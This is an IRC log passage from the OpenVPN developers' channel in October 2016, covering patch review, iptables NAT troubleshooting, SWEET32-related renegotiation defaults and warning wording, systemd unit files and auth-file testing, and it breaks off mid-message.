SviMik> I think some 2.4 features are awesome... but there are some buts 11:33 < SviMik> >Deprecated TLS cipher name 'DEFAULT', please use IANA name 'DEFAULT' 11:33 < SviMik> what? 11:55 < SviMik> tested mikrotik 6.33.3 with openvpn 2.3.12 - works both with "tls-cipher DEFAULT" and without... 13:32 < ValdikSS> Hey guys, cron2 or ecrist or someone, do anybody know if OpenVPN Connect fragments control packets as high as it was in 2.3 like a year ago, before patch? 13:32 < ValdikSS> (can't test it myself yet) 13:56 <+krzee> <SviMik> also some users have remote setups - like a router in other city which was reachable through VPN only. and when VPN is down - they can't even reach the router to change something in the config 13:56 <+krzee> your vpn service allows clients to connect to eachother? 14:05 < SviMik> krzee our service allows to set up port forwanding, in case if user's device is behind nat, but user wish to acces his device remotely via internet 14:06 <+krzee> oh nice 14:06 <+krzee> so they can basically own the external ip they are using 14:06 < SviMik> yes 14:08 < SviMik> some users set up CCTV that way, so they can view it remotely using our IP 14:12 < SviMik> krzee we have two types of IP addresses - "shared" where user can pick some port if it's not used by another user, and "private IP" (for additional fee) where the IP is used solely by this user. 14:12 <+krzee> thats a cool feature 14:16 < SviMik> that was breakthrough feature when I implemented it in 2011. none of the competitiors has such a thing :) 14:22 < SviMik> krzee http://svimik.com/hdmvpncp5.png 14:25 < SviMik> for shared ip you can use ports starting from 1000 (still fine for personal use, like cctv viewing, or accessing your router settings), and for private ip there is no limitations, you can use all the ports, and even set up a webserver on port 80 14:49 < SviMik> krzee I can make you an account to test, if you are interested. actually, any openvpn developers are welcomed on our service. 16:06 < SviMik> from a ticket: "Hello... should I turn off my internet before going to internet?" 16:11 < SviMik> glad we have staff to answer such questions... cause I have no idea what to say 16:12 <@dazo> SviMik: "Yes, please lock the door before you open it to ensure it is locked when you enter" 16:27 < slypknot> SviMik: if you are happy to give out a free account, i am in :) 16:27 < slypknot> please! 16:42 < SviMik> PM 23:01 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 23:03 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Oct 26 2016 01:06 < loki-kun> ok i see im wrong her 04:34 <@plaisthos> I just tried import OpenVPN AS instance in vmware and the wizard fails :P 07:59 < ordex> syzzer: don't you think that point 1) of my email is actually fixing a bug and so be worth is own patch ? 07:59 < ordex> if we have a config with one "crl-verify ... dir" and then "crl-verify ..." only, I think the crl check will just break ? 07:59 < ordex> mh no..because the directory check in the post option parse will fail and openvpn will exit 07:59 < ordex> okok 08:06 <@syzzer> ordex: indeed :) 08:28 < ordex> I hope nobody minds if I also beautify the style of the arguments in ssl_openssl.c :p 08:29 < ordex> only because I am touching the function declarations 08:52 <@dazo> ordex: clean is very fine .... but it's often good to have them in separate patches ... depends on what is changed, how much and how it relates to other changes 08:52 < ordex> yap I agree 08:52 <@dazo> clean-up* 08:53 < ordex> I just don't know how you like these changes. I'll send the first version and then you can shoot me on the ml :) 08:53 <@dazo> minor changes to function declarations where you otherwise do other changes too is usually fine - especially if you need to change the declaration for the other changes 08:53 < ordex> yap 08:53 < ordex> that's my case 08:54 < ordex> I am not touching unrelated declarations 08:54 <@dazo> then it can most likely go into the same pathc :) 09:03 < ordex> :) 09:06 <@cron2> ValdikSS: no idea what Connect does, would need to test - but I have not heard anything from James about reduction of control packet size 09:22 <@cron2> mattock: do you have an official openvpn logo to download somewhere? need to give a talk... (advertising for 2.4, asking for more testers...) 09:36 <@cron2> well 09:36 <@cron2> took the one from community, which is good enough 13:52 <@mattock> cron2: just this: https://openvpn.net/index.php/miscellaneous/473-openvpn-logos-and-icons.html 13:52 <@vpnHelper> Title: OpenVPN logos and icons (at openvpn.net) 16:53 <@syzzer> looking at this secure_memzero() stuff, and our CLEAR() macro's, I'm wondering if we should get rid of CLEAR() all together... 16:55 <@syzzer> we've already seen people get tricked by calling CLEAR() on a *, while it only works for []s, and it's really not that much harder to just write memset(a, 0, sizeof(a)) if you want to clear something. 17:13 <@syzzer> nah, would be far too painful 17:29 <@cron2> syzzer: CLEAR() basically does that, without having to spell out the sizeof() and "0" part... 17:30 <@cron2> if people can't understand the difference between a pointer and a struct, they won't magically get this right if it's called memset() now 17:33 <@syzzer> I'm already convinced it's not worth it, but I think I would easier spot a faulty memset() than a faulty CLEAR() during review 17:34 <@syzzer> simply because it's spelled out, and that would trigger me to think about the sizeof() 17:35 < SviMik> maybe it is possible to add some assert to the macro itself to make sure it is [] and not *? 17:35 <@cron2> well, maybe... but then, if you see "memset(a, 0, sizeof(a))", how would you know "a" is just a pointer, not a true struct... 17:35 <@cron2> SviMik: no 17:36 <@cron2> CLEAR() can be CLEAR(a) or CLEAR(*a), depending on what "a" is, and the C preprocessor is not smart enough to have a sort of "typeof()" check that you could use (*and* it might be fully intentional to clear the pointer, not the target, if a bit funny) 17:36 <@syzzer> cron2: you're right that it's obviously the exact same thing. Just explicitly reading the sizeof() triggers my brain to look for mistakes. (By now the same happens for CLEAR(), but that was not the case a few years back ;) ) 17:36 <@cron2> I agree on seeing the sizeof() :-) 17:37 <@syzzer> either way - too much work and uglyness to replace CLEAR() with memset() everywhere 17:37 <@cron2> definitely 17:38 < SviMik> does cppcheck warns about that? 17:38 < SviMik> or some other static analyser 17:38 <@cron2> it cannot 17:38 <@syzzer> SviMik: probably not. It's perfectly valid C. 17:40 <@syzzer> cron2: how's Madrid? recruited any testers? 17:41 <@cron2> the case we had was perfectly valid C, just did not do what the author intended 17:42 <@cron2> sorry for the lag, my wifi is extremely flakey just now 17:42 <@cron2> syzzer: not yet, talk will be given tomorrow (just a 5 minutes lightning talk), but people proofreading the slides already said "oh, cool, I want that" :-) 17:43 <@syzzer> nice! 17:43 <@syzzer> good luck tomorrow then :) 17:43 <@cron2> ... plus the info that the next Tunnelblick beta will contain alpha2 is also great :-) 17:43 <@cron2> I just need to get 2.3.13 out 17:43 * syzzer just looked at the clock and realized he should have been sleeping an hour ago... 17:44 <@syzzer> when do you want to get 2.3.13 out? before the talk? 17:44 <@cron2> nah, end of next week, there's patches missing I saw on the list but that have not been merged :) 17:45 < SviMik> I have used PVS-Studio, it can find incredible things like a typo which is perfectly valid C 17:45 < SviMik> my favorite example from their blog: http://paste.ee/p/WhKXM 17:45 < SviMik> (how quick do you find it?) 17:46 <@syzzer> tha a[1] ? 17:46 < SviMik> yep 17:46 <@cron2> that is amazing 17:46 <@cron2> how does it do that? 17:46 < SviMik> The error was found through the V525 diagnostic: The code containing the collection of similar blocks. Check items '0', '1', '2', '3', '4', '1', '6' in lines 680, 682, 684, 689, 691, 693, 695. sql records.cc 680 17:46 <@syzzer> coverity also has some nice heuristics 17:46 <@syzzer> but I still doubt they'll find the array-vs-pointer thing 17:46 < SviMik> btw, it was in MySQL project :D 17:47 <@syzzer> ... which reminds me, I need to move the coverity branch to master 17:47 <@syzzer> but first sleep. good night! 17:48 <@cron2> gnight 17:48 < SviMik> http://paste.ee/p/QH60f 17:48 < SviMik> The error was found through the V524 diagnostic: It is odd that the body of 'clearTopDownPointers' function is fully equivalent to the body of 'clearBottomUpPointers' function (ObjCARC.cpp, line 1318). 17:49 < SviMik> again, perfectly valid C :) 17:49 < SviMik> here is the full list of examples: http://www.viva64.com/en/a/0077/ 17:49 <@vpnHelper> Title: PVS-Studio advertisement - static analysis of C/C++ code (at www.viva64.com) 17:50 < SviMik> Errors of array and string handling, Undefined behavior, Copy-Paste... 17:51 < SviMik> yes, Copy-Paste is my favourite :D 17:52 < SviMik> btw, you can ask them to check openvpn! they are happy to check opensource project for free 17:53 < SviMik> [Checked projects] http://www.viva64.com/en/inspections/ 17:53 <@vpnHelper> Title: An always up-to-date list of articles describing errors that we find in open source projects with PVS-Studio analyzer (at www.viva64.com) 17:55 < SviMik> they have found bugs even in gcc :) 20:03 < slypknot> tsunami warning .. for those that may have missed it 20:04 < slypknot> example 20:04 < slypknot> : https://forums.openvpn.net/viewtopic.php?f=36&t=22697 20:04 <@vpnHelper> Title: VPN Won't Connect - OpenVPN Support Forum (at forums.openvpn.net) 20:05 < slypknot> "i am onluy 15" .. etc 20:06 < SviMik> and wrong link to logs 20:06 < slypknot> hi SviMik 20:06 < slypknot> i was not expecting any actives at this time 20:10 < slypknot> tsunami on the horizin .. i will bet $100 20:14 < SviMik> hi 20:15 < SviMik> I'm fighting with iptables... things are getting very strange 20:15 < SviMik> just imagine: my iptables rule works only when tcpdump is running. 20:15 < SviMik> see any connection? 20:16 < slypknot> noppe 20:16 < slypknot> iptables <> tcpdump 20:16 < SviMik> I thought things like *that* are possible only on windows :) 20:16 < slypknot> eh 20:16 < SviMik> but no... debian. 20:16 < slypknot> even more eh ? 20:17 < SviMik> actually just found I can use `ip link set ... promisc on` instead of running tcpdump 20:17 < slypknot> must be a seriouslt screwweed up iptables rule .. probablty worth abug rep to the maintianer 20:18 < slypknot> promisc .. 20:18 < slypknot> lol 20:19 < slypknot> you do know what promisc means right ? 20:19 < SviMik> right 20:20 < SviMik> I just don't know what went wrong 20:20 < SviMik> iptables -I PREROUTING -t nat -p tcp -d 10.117.0.1 --destination-port 6028 -j DNAT --to-destination 10.116.163.71:41280 20:20 < SviMik> iptables -I POSTROUTING -t nat -p tcp --destination-port 41280 -j SNAT --to-source 10.117.0.1 20:21 < slypknot> PRE vs POST PORT vs HOST .. IPTANLES 20:21 < SviMik> without promiscuous mode packets just don't reach the second rule 20:22 < slypknot> you do know what promisc means right ? 20:22 < Thermi> slypknot: I discussed this issue with him and it really comes down to having promisc enabled or not. The DNATed packets just vanish after *nat PREROUTING without promisc 20:22 < Thermi> slypknot: It's running on a bridge, so it's not a real issue 20:22 < Thermi> tap3 -> br0 20:22 < slypknot> this is networking 101 .. 20:22 < Thermi> Sure 20:22 < Thermi> Yes. 20:22 < Thermi> The packets actually arrive and are handled in Netfilter 20:23 < Thermi> the destination IP is the IP on br0 20:23 < Thermi> then the DNAT happens in *nat PREROUTING and then they're gone 20:23 < Thermi> the TRACE target shows that those packets just really disappear after *nat PREROUTING 20:23 < slypknot> i got the thrird degree from pekster .. i am not gonna help you to work out wjat is openvpnm and what is not 20:23 * krzee points at #openvpn :D 20:23 < slypknot> typos 20:23 < Thermi> openvpn is not really included at that stage yet. :P 20:24 < slypknot> so 20:24 < Thermi> We discussed this in #netfilter 20:24 < SviMik> Thermi I'm looking at tcpdump right now, things are really strange there... 20:24 * slypknot is gonna chill out and let you guys work it out 20:24 < Thermi> SviMik: Go ahead and tell me 20:26 < slypknot> hey krzee :)) 20:27 * slypknot just ran out of beer ! 20:27 < Thermi> oh my. :< 20:28 < SviMik> Thermi http://svimik.com/br0tcpdump1.png 20:28 < SviMik> that's from br0 20:29 < Thermi> SviMik: What's the problem with that? 20:29 < slypknot> with tap right ? 20:30 < SviMik> Thermi direct talk between 10.101.16.34 and 10.116.163.71 ? 20:30 < Thermi> SviMik: Hmh. Is the SNAT rule hit? 20:31 < SviMik> both rules are hit once I enabled promisc mode 20:32 < Thermi> SviMik: What does `conntrack -L` show about that connection? 20:32 < SviMik> it shows conntrack: command not found 20:32 < Thermi> install the conntrack-tools then 20:33 < SviMik> Unable to locate package conntrack-tools 20:33 < SviMik> hmm 20:33 < slypknot> an dprey 20:33 * SviMik went to google 20:33 < Thermi> apt-cache search conntrack 20:33 < Thermi> Come on, learn to use apt. :P 20:33 < SviMik> conntrack - Program to modify the conntrack tables 20:33 < SviMik> conntrackd - Connection tracking daemon 20:33 < SviMik> libnetfilter-conntrack-dev - Development files for libnetfilter-conntrack3 20:33 < SviMik> libnetfilter-conntrack3 - Netfilter netlink-conntrack library 20:33 < SviMik> libnetfilter-conntrack3-dbg - Debugging symbols for libnetfilter-conntrack3 20:33 < Thermi> conntrack it is 20:33 < Thermi> It's called conntrack-tools on Arch. :P 20:34 < SviMik> okay 20:34 < slypknot> SviMik: are you still supporting XP 20:34 < slypknot> ? 20:34 < SviMik> slypknot yes 20:35 < SviMik> slypknot our windows gui works from XP to 10 20:35 < slypknot> you are fucked 20:35 < SviMik> what's wrong? 20:35 < slypknot> XP TCPIP stack is broken 20:35 < slypknot> badly 20:36 < SviMik> Thermi okay, now it says it has 31778 flow entries to show. time to grep! :D 20:36 < Thermi> What about the TAP driver XP signing shenanigans? 20:36 < Thermi> Only SHA-1 support? :D 20:36 < slypknot> if you are running a server-bridge in tap mode compare the packets from XP cs any other modern system 20:36 < slypknot> cs=vs 20:38 < Thermi> And then? 20:38 < slypknot> M$ deliberate breakage 20:39 < Thermi> Nice 20:39 < Thermi> what exactly breakes? 20:39 < slypknot> no surprise 20:39 < slypknot> look into it] 20:39 < Thermi> I don't want to taint my network with an XP box 20:40 < slypknot> good idea 20:40 < Thermi> I'm not going to backdoor my own network 20:40 < Thermi> deliberately 20:40 < Thermi> :D 20:40 < slypknot> its like that .. if you want to know what is wrong , you godda look at what is wrong 20:40 < SviMik> if you gaze long into an abyss, the abyss also gazes into you 20:40 < slypknot> ^^ 20:43 < slypknot> i'll say this .. running a tap setup .. you are already beyond the looking glass .. you better get a microscope 20:54 < Thermi> Need to go to bed. Have fun you two. 20:55 < SviMik> bye --- Day changed Thu Oct 27 2016 05:01 <@mattock> I put James' rst->html tool here: https://github.com/OpenVPN/rst 05:01 <@vpnHelper> Title: GitHub - OpenVPN/rst: A script for converting rst files to html (at github.com) 05:02 <@mattock> I've found it quite useful when working with rst files (and when reviewing rst patches) 05:36 <@syzzer> mattock: http://manpages.ubuntu.com/manpages/wily/man1/rst2html.1.html 05:36 <@vpnHelper> Title: Ubuntu Manpage: rst2html - convert reST documents to XHTML (at manpages.ubuntu.com) 05:53 <@mattock> syzzer: debian does not have that package, nor does fedora (at least using that name) 05:53 <@mattock> let alone windows or osx 05:53 <@cron2> we really should spend some work on privilege separation on the unix systems after 2.4.0 is out 05:54 <@mattock> syzzer: that said, rst2html might be usable on those platforms, have not checked 05:54 <@mattock> james probably wrote it because he uses a mac and did not find anything that works 05:54 <@cron2> (= running openvpn with no privileges whatsoever, but still being able to update/change routing table etc. on restart) 05:55 <@mattock> cron2: yeah 05:55 <@mattock> next dazo will tell you that systemd does exactly this with its capabilities system :D 05:55 <@mattock> which does not help a bit with *BSD 05:55 <@cron2> but it's somewhat nontrivial - exactly for this reason: there is systemd, network manager, <other environments>, ... and we should do the right thing in all cases 05:56 <@mattock> exactly 05:56 <@cron2> or tell the systemd / network manager / ... folks how to properly run openvpn with --magic-option :-) 05:57 <@syzzer> mattock: I think debian does have it - part of the python(3)-docutils package 05:58 <@cron2> topic for the 2017 hackathon :-) 05:58 <@syzzer> cron2: yeah, we should 06:01 <@plaisthos> mattock: did you have a look at v2 changes.rst patch? 06:05 <@mattock> plaisthos: not yet, I got sidetracked earlier today when I was about to 06:05 <@mattock> I'll have a look now 06:07 <@plaisthos> I reworded your service description a bit so that they fit better in Changes.rst 06:17 <@mattock> plaisthos: there were some tabs in there, which made rst parser produce silly-looking results 06:17 <@mattock> I'll send a fixed version of the patch to you 06:20 <@mattock> patch sent 06:20 <@mattock> I need to get some lunch now, but I'll check back in ~2,5 hours (will be in a train) 06:25 <@cron2> talk done, good and reasonable questions, happy people :-) 06:32 <@syzzer> cron2: nice :) 06:32 <@syzzer> are the slides available somewhere online? I'm curious what you've promised these people :p 06:39 <@plaisthos> mattock: oh okay 06:39 <@plaisthos> github's rst parser did not complain about them 06:48 <@mattock> james' parser seems pretty strict 07:03 <@plaisthos> github's parser has to deal with reality (; 07:20 <@mattock> :P 07:22 <@plaisthos> so I do I ack my own ack in your version now? 07:23 <@plaisthos> <= confused 07:27 <@dazo> hehe, mattock ... spot on ... and we're quite right :) 07:28 <@dazo> cron2: for privilege separation ... are you thinking somewhat similar to what openssh does? Or restricting syscalls (capabilities)? 07:29 <@dazo> cron2: I dunno about how capabilities on *BSD ... but if they are somewhat aligned with Linux, the capabilities we're restricting in the systemd unit files are a good step forward - we're already removing quite some root privileges there, with great success 07:31 <@dazo> I think we will need to have something else than --magic-option ... as I fear the capabilities and privileges separation features are to differentiated across platforms ... but we can have a sort of platform oriented framework which is built according to platform identified by ./configure 08:41 <@cron2> syzzer: https://ripe73.ripe.net/programme/meeting-plan/os-wg/ 08:41 <@vpnHelper> Title: Open Source WG | RIPE 73 (at ripe73.ripe.net) 08:41 <@cron2> there might even be a canned video stream 08:42 <@cron2> dazo: I'm not sure what I'm thinking about :-) - maybe "run this as user nobody" or "have two processes, one talking to the network as nobody, chroot()ed to /var/empty, and the other one running with user privs" (like openssh does on the server side9 08:53 <@dazo> syzzer: [clean-up in ssl.c] what do you think? .... this is basically removing a if (true) {...} statement, with the re-indentation ... plus removing two #if 0 blocks 08:53 <@dazo> ouch 08:53 <@dazo> oh, I didn't send the fpaste :-P 08:54 <@dazo> here it is :) https://paste.fedoraproject.org/461894/47757615/ 08:58 <@syzzer> dazo: yes, cleanup please! 08:58 <@syzzer> (how does a --ignore-whitespace patch look like?) 09:19 <@dazo> syzzer: https://paste.fedoraproject.org/461908/77577682/ ... --ignore-all-space version 09:20 * dazo preps a patch for the ML 09:24 <@syzzer> hehe, that's much easier to read :) 09:25 <@dazo> yeah, true enough ... unfortunately, I think we need the re-indentation on the ML :) 09:27 <@cron2> right 09:42 <@dazo> patch sent ... <1477579059-9596-1-git-send-email-davids@openvpn.net> 09:48 <@syzzer> thanks for the 64 MB review btw :) you are thinking along the same lines I was when I wrote the patch. 09:52 <@dazo> good to hear :) 10:00 <@cron2> 64MB is the last thing holding up 2.3.13, isn't it? 10:01 <@syzzer> yeah, I think so 10:05 <@dazo> cron2: should the --auth-gen-token feature be considered for 2.3 as well? 10:06 <@cron2> no 10:06 <@dazo> okay 10:06 <@cron2> it's totally matching all criteria for "not into 2.3" - it's a new feature, it's large, it's intrusive :-) 10:07 <@cron2> but more important: upgrading a server to 2.4 is something you want to do anyway, because of peer-id, NCP, etc. - so then you get this as an extra benefit 10:07 <@dazo> yeah ... on the other hand the 64MB patch will be annoying without it 10:07 <@syzzer> .. but it's also sort of "a security bugfix" 10:07 <@cron2> for the server side 10:07 <@dazo> and even though we got 2.4_alpha out ... it's a long way for the final release 10:08 <@dazo> (many won't upgrade from 2.3 stable to 2.4_{alpha,beta,rc} ... just because of being non-stable 10:08 <@cron2> then they can always use --cipher aes instead 10:08 <@cron2> but if we start introducing large and intrusive stuff into 2.3, people will stop upgrading their 2.3 as well "because it might break their setups" 10:08 <@dazo> all I'm saying, we will see complaints on this one 10:09 <@dazo> if the final 2.4 release would be < 5-6 weeks away, I'd agree .... but we're nowhere close to that 10:10 <@cron2> I've run my servers on git master ever since we introduced peer-info, because I wanted that... 10:10 <@syzzer> there is the scripted equivalent of --gen-auth-token as a backup 10:11 <@dazo> syzzer: will that work with f.ex the auth-pam plugin on a system configured with 2FA? 10:11 <@cron2> make it very clear in the announcement that we do this for security reasons, and if you use blowfish AND auth-nocache (because of 2FA), it WILL be annoying - so, here are your options -> ... 10:11 <@cron2> (scripted alternative, overriding reneg-bytes manually - which you can do - upgrade the server to master...) 10:14 <@dazo> As I can see it, the scripted alternative will *NOT* work for users using --plugin 10:14 <@syzzer> hm, that is disappointing 10:18 <@dazo> the reason is simply that --plugin's will be called regardless of the status of --auth-user-pass-verify ... and it is also called before the scripts 10:19 <@dazo> and the result of both --plugin and script needs to be successful 10:19 <@cron2> what about: we only do 64MB by default if a) nothing configured, and b) server? 10:20 <@cron2> so people CAN override this while moving towards larger-block ciphers, on their server, on their own risk? 10:20 <@cron2> (without having to touch "millions of clients", which is usually where the complaints are coming from) 10:21 * dazo ponders on adding an --allow-insecure-64mb-reneg option .... to allow --reneg-bytes to be 0 10:22 <@dazo> that way it is explicit and it means they have to do something to come back to the old behaviour 10:22 <@cron2> or that, so it is really, really explicit, yep 10:23 <@dazo> syzzer: ^^^thoughts? 10:23 < SviMik> just don't forget to mention what exact value I need to set to make the server compatible with older clients. thx :) 10:23 <@dazo> SviMik: --reneg-bytes is 0 by default 10:24 <@cron2> they will be compatible, but IF you use blowfish AND 2factor-authentication, it will be very annoying 10:24 <@cron2> if you do not use 2FA, no issue 10:24 < SviMik> ah, ok then 10:33 <@syzzer> dazo: the extra option seems a bit much to me, setting --reneg-bytes <INT_MAX> is good enough, isn't it? 10:33 <@syzzer> (which reminds me, we need to replace atoi() with strtol() 10:39 <@dazo> syzzer: but if someone wants to do: --reneg-bytes 0 ....? 10:40 <@dazo> with your patch, that will be reset to 64MB 10:46 <@syzzer> dazo: indeed, he can't. I'd argue that --reneg-bytes INT_MAX is his alternative 10:47 <@syzzer> hm, but that's just 2 GB... 10:48 <@dazo> UINT_MAX is probably more relevant? 10:48 <@syzzer> argh. what do we think is reasonable? 10:48 <@syzzer> no, the optins parser only goes to INT_MAX 10:48 < SviMik> -1 ? :) 10:48 <@dazo> ahh, okay 10:48 <@dazo> 2GB is too little :/ 10:50 <@dazo> (I've managed 1GB today already ... in less than 5 hours not doing too much extra ... well, I do use --redirect-gateway and have Spotify running in the background) 10:51 <@syzzer> I'll update the patch to allow --reneg-bytes 0 10:51 <@dazo> plaisthos: what's the state of your Changes.rst patch? Ready to be included? 10:52 <@syzzer> probably tomorrow - tonight there's offline stuff 10:52 <@dazo> syzzer: okay .... just ensure openvpn complains LOUDLY about it in the logs if 64bit ciphers is used :) 10:53 <@dazo> syzzer: btw ... can we have a discussion tomorrow on the path forward for the --auth-gen-token stuff? Just want to have that closed asap too 10:56 <@vpnHelper> RSS Update - gitrepo: Remove INSTALL-win32.txt that is now hosted in openvpn-build <https://github.com/OpenVPN/openvpn/commit/04341beb1d8e0fad3425bfec5f281fe431895cd6> || cleanup: Remove NOP code sections in ssl.c:tls_process() <https://github.com/OpenVPN/openvpn/commit/c5da6dbf3f532bcae5f8c20e3dcf0311b8718d5c> 10:56 <@dazo> cron2: you had a way too nice response to that github issue ..... 10:57 * dazo was tempted to reply "And I want a pink unicorn with dust collector" 10:57 <@cron2> I'm sure my girls would love that :) 10:57 <@dazo> :) 11:02 <@syzzer> dazo: yeah, let's see if we can get the auth-gen-token stuff going tomorrow 11:02 <@dazo> oh great! I managed to confuse git send-email :-P 11:03 <@cron2> indeed...! 11:03 <@dazo> syzzer: wonderful! ... I'll ping you first thing tomorrow 11:04 <@dazo> (which will be sometime after 10-11 o'clock) 11:04 * dazo heads out for some food 11:07 < slypknot> erm .. i just git pulled master and did autoreconf -ivf + ./configure + ,ake and I get this error about INSTALL-win32.txt 11:07 < slypknot> https://0paste.com/9429 11:12 <@cron2> make[2]: *** No rule to make target 'INSTALL-win32.txt', needed by 'all-am'. 11:13 <@cron2> indeed... 11:13 <@cron2> dazo: testing! before pushing! 11:13 < slypknot> cool .. at least i am not going mad ;) 11:20 * cron2 drowns in buildbot failure mails 11:46 <@dazo> is it possible 11:46 <@dazo> obviously 11:47 <@dazo> I did run tests ... but I applied the INSTALL-win32.txt patch after that test :/ 11:51 <@dazo> if anyone wonders ... we currenly run 221 different build configurations when we push out the git trees 11:55 <@dazo> slypknot: cron2: Patch is on the way to the ML now .... this does pass 'make distcheck' on my box 11:57 <@cron2> dazo: for the next hackathon, I'll get you a t-shirt printed "commit, autoreconf, make test, push" :-) (written in mirrored font, so you can wear it and look at your reflection in the monitor :) ) 11:58 * slypknot cracks the whip ! 12:00 <@dazo> hehehe 12:04 < slypknot> openvpn.net could sell them .. i'd buy one ;) 12:05 <@cron2> mattock: are you listening? :) 12:06 <@vpnHelper> RSS Update - gitrepo: Remove last rest of INSTALL-win32.txt references <https://github.com/OpenVPN/openvpn/commit/f93b76398003769685ae1053ec978fffe17f6cd6> 12:06 <@vpnHelper> RSS Update - tickets: #755: --ifconfig-push should warn on topology <https://community.openvpn.net/openvpn/ticket/755> 12:12 < slypknot> make works now :D 13:26 <@dazo> plaisthos: there's some openssl issues on your buildbots ..... 13:28 <@dazo> ./crypto_openssl.h:33:10: fatal error: 'openssl/evp.h' file not found 13:28 <@dazo> #include <openssl/evp.h> 13:28 <@dazo> all the tincan boxes fails on 'make check' too 13:28 <@dazo> otherwise things looks good 13:36 <@dazo> *sigh* ... if just sd-bus wasn't so tied to systemd .... that is actually a sane dbus implementation, compared to the reference implementation from the dbus team 13:37 * dazo wonders what will be more efficient ... rip sd-bus code out of systemd and massage it for openvpn ... or write all the needed code to comply with the not too well documented reference implementation 13:39 <@dazo> the advantage of ripping out the sd-bus code is that we wouldn't have any additional dependencies ... but more code for us to maintain (we could ship it as a separate project, though) 13:43 < slypknot> dazo: my BB probably failed I had the test VPN up manually .. resertting to defaults now 13:44 <@dazo> slypknot: btw ... had any time to dig into the systemd unit file patches? 13:44 * dazo would like to see some ACKs :) 13:46 < SviMik> !systemd 13:47 < SviMik> hmm, vpnHelper doesn't work here? 13:47 < SviMik> <vpnHelper> "systemd" is the devil 13:48 < slypknot> dazo: buildbots reset should work now (may fail a few ping tests) - systemd .. do we have an official starting point I can read ? 13:48 -!- SviMik was kicked from #openvpn-devel by dazo [Don't be nasty to systemd] 13:49 < slypknot> cor that was mean ! dazo -> SviMik 13:49 <@dazo> slypknot: Message-Id: <1476996158-5390-1-git-send-email-davids@openvpn.net> 13:50 <@dazo> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg12764.html 13:50 <@vpnHelper> Title: [Openvpn-devel] [PATCH] systemd: Improve the systemd unit files (at www.mail-archive.com) 14:45 <@vpnHelper> RSS Update - tickets: #756: Allow binding to --local interface <https://community.openvpn.net/openvpn/ticket/756> --- Day changed Fri Oct 28 2016 06:10 <@syzzer> so, wrt 64MB limit, should we only do this on the server side/ 06:10 <@syzzer> or maybe only on the server side for 2.3? 06:17 <@dazo> syzzer: is there any benefit of doing it on the client side if the server side have reneg 64MB? 06:18 <@dazo> krzee: This will probably catch your interest :) https://kaushikghose.wordpress.com/2016/10/27/named-pipes-process-substitution-and-tee/ << cool bash tricks 06:18 <@vpnHelper> Title: Named pipes, process substitution and tee Kaushik Ghose (at kaushikghose.wordpress.com) 06:18 <@syzzer> that clients who are using a server maintained by a lazy/conservative admin get improved security by upgrading openvpn 06:19 <@syzzer> dazo: ^^ 06:20 <@dazo> syzzer: good point .... to bad the server doesn't tell its reneg values to the client :/ 06:21 <@syzzer> what about the compromise 'server-only for 2.3, both for 2.4'? 06:22 <@dazo> Hmmm ... I'm pondering on that ... From a security perspective, having it on both sides is the best approach. But it will require large setups to update their configs to set --reneg options to avoid the new 64MB default - as well as updating servers .... which means they could just as well update to a new cipher too 06:23 <@dazo> I think the compromise is a sane approach ... 2.3 will be the last version which hard-defaults to BF .... as 2.4 will have cipher negotiation 06:23 <@syzzer> exactly 06:24 <@syzzer> 2.4 has the features to make it a non-problem 06:24 <@dazo> and if we're really going to do both sides, then it really will hurt existing installs insisting staying on 2.3 until final 2.4 is released 06:24 <@syzzer> ok, will do it that way 06:25 <@dazo> but as I've said (too?) many times these last days ... we need to complain loudly in the log files .... perhaps even add the URL to our sweet32 info page 06:26 <@syzzer> we do - see my reply on the ml :) 06:27 <@syzzer> not the url, but explicitly naming SWEET32 06:28 * dazo refreshes his MUA 06:29 <@syzzer> sent yesterday 06:30 <@dazo> ahh, right :) 06:34 < slypknot> Do i remember correctly, --auth-user-pass can now be set witrh only the username and prompt for password ? 06:35 <@dazo> slypknot: yes, that should work ... just have a single line with the username 06:35 <@dazo> (in the auth-user-pass file, that is) 06:35 <@syzzer> dazo: what do you think, is this complaining annoying enough? ;) 06:36 < slypknot> dazo: but it appears not in 2.3.12 06:36 <@dazo> syzzer: I'm re-reviewing your patches now 06:36 <@syzzer> ok, great 06:37 <@syzzer> I have v2 ready to send to the ml, just let me know if there's anything else 06:38 <@dazo> syzzer: I think we are too nice in the tone .... sweet32 is quite a serious issue, how I have understood it ... "WARNING: this cipher's block size is less than 128 bit (%d bit). This allows attacks like SWEET32. Consider using a --cipher with a larger block size." 06:40 <@dazo> I think that one can be a bit "nastier" ..... "WARNING: cipher's block size is less than 128 bit (%d bit). This is considered INSECURE and can allow attacks like SWEET32. Do upgrade to a --cipher with a larger block as soon as possible." 06:42 <@dazo> syzzer: and perhaps add the URL to our info page into the man page as well, under the --cipher section 06:46 < slypknot> OK, found it : commit 6e9373c84639382c16d9eb8f1f78f60079bb89df 06:47 < slypknot> apparently, this does not work in 2.3.12, I am gonna test NOW ! 06:52 < slypknot> this does not work in 2.3.12 even tho commit says: and cherry-picked to release/2.3 06:52 < slypknot> Error: cannot read password from auth-user-pass file 06:53 < slypknot> works fine if password is included .. 06:53 < slypknot> fails if not ! 06:55 < slypknot> am i missing the point ? 06:56 <@dazo> slypknot: which distro? 06:56 < slypknot> windows XP + GUI 06:57 <@dazo> okay ... I thought that one could save the username in the GUI .... but it's may years since I last configured a Windows VPN client 06:58 < slypknot> As I read https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg10864.html 06:58 <@vpnHelper> Title: Re: [Openvpn-devel] [PATCH APPLIED] Support for username-only auth file. (at www.mail-archive.com) 06:58 < slypknot> I presumed that meant it would be in 2.3.12 for old XP support 06:58 <@syzzer> dazo: ok, will adjust the wording and send to list 06:58 <@dazo> 6e9373c84639382c16d9eb8f1f78f60079bb89df cherry-picked into release/2.3 as 76b82f0e9d272a703624b102bd2e2b38d9947afb 06:58 <@dazo> $ git tag --contains 76b82f0e9d272a703624b102bd2e2b38d9947afb 06:58 <@dazo> v2.3.10 06:58 <@dazo> v2.3.11 06:58 <@dazo> v2.3.12 06:58 <@dazo> v2.3.9 06:59 < slypknot> it does not appear to work as expected :( 06:59 < slypknot> I ima test again ! 07:01 <@dazo> I'm pretty sure I tested this just a few weeks ago :/ 07:02 <@dazo> but I'm not saying it my testing is conclusive 07:02 < slypknot> sorry, this does *not* work 2.3.12 + GUI WinXP 07:02 < slypknot> Error: Could not read Auth password from 